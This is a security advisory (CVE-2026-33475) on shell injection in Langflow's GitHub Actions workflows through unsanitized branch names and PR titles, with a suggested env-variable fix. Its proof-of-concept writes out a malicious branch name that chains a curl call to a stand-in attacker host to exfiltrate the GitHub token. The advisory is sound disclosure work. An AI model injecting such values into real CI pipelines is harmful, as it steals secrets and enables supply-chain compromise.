PT-2026-27428 · Langflow Ai · Langflow

Published

2026-03-24

·

Updated

2026-03-24

·

CVE-2026-33475

CVSS v3.1

9.1

Critical

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.

Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:
run: |
 validate branch name "${{ github.event.pull request.head.ref }}"
Or:
run: npx playwright install ${{ inputs.browsers }} --with-deps
Since github.head ref, github.event.pull request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.

PoC

  1. Fork the Langflow repository
  2. Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB TOKEN
  1. Open a Pull Request to the main branch from the new branch
  2. GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml)
  3. The run: step containing:
echo "Branch: ${{ github.head ref }}"
Will execute:
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB TOKEN
  1. The attacker receives the CI secret via the exfil URL.

Impact

  • Type: Shell Injection / Remote Code Execution in CI
  • Scope: Any public Langflow fork with GitHub Actions enabled
  • Impact: Full access to CI secrets (e.g., GITHUB TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

Suggested Fix

Refactor affected workflows to use environment variables and wrap them in double quotes:
env:
 BRANCH NAME: ${{ github.head ref }}
run: |
 echo "Branch is: "$BRANCH NAME""
Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.

Affected Files (Langflow 1.3.4)

  • .github/actions/install-playwright/action.yml
  • .github/workflows/deploy-docs-draft.yml
  • .github/workflows/docker-build.yml
  • .github/workflows/release nightly.yml
  • .github/workflows/python test.yml
  • .github/workflows/typescript test.yml

Fix

Special Elements Injection

OS Command Injection

Weakness Enumeration

Related Identifiers

CVE-2026-33475

Affected Products

Langflow